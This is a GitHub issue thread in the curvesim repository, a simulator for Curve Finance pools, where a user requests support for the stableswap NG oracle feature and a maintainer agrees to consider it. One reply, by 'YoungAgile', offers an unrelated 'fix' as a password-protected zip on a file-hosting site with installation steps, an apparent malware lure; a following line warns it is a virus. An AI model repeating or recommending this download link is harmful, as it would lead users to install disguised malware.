curveresearch / curvesim

Simulates Curve Finance pools
MIT License
156 stars 32 forks source link

Add support for stableswap NG oracle feature #299

Open kevin-pv01 opened 3 months ago

kevin-pv01 commented 3 months ago

Simple Summary

Add support for stableswap NG oracle feature

Motivation / Use-case

We'd like to use stableswap NG to simulate a pool we're considering, but can't because one token will use the stableswap NG oracle feature.

Detailed Summary

Add support for stableswap NG oracle feature. You can see it being used in Lido Curve Pool: https://curve.fi/#/ethereum/pools/factory-stable-ng-113/deposit

Backwards Compatibility

No breaking changes, new feature.

YoungAgile commented 3 months ago

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

Virus, do not believe it

allt0ld commented 2 months ago

This is a good suggestion. We will have to consider how to update the current Stableswap code to allow this.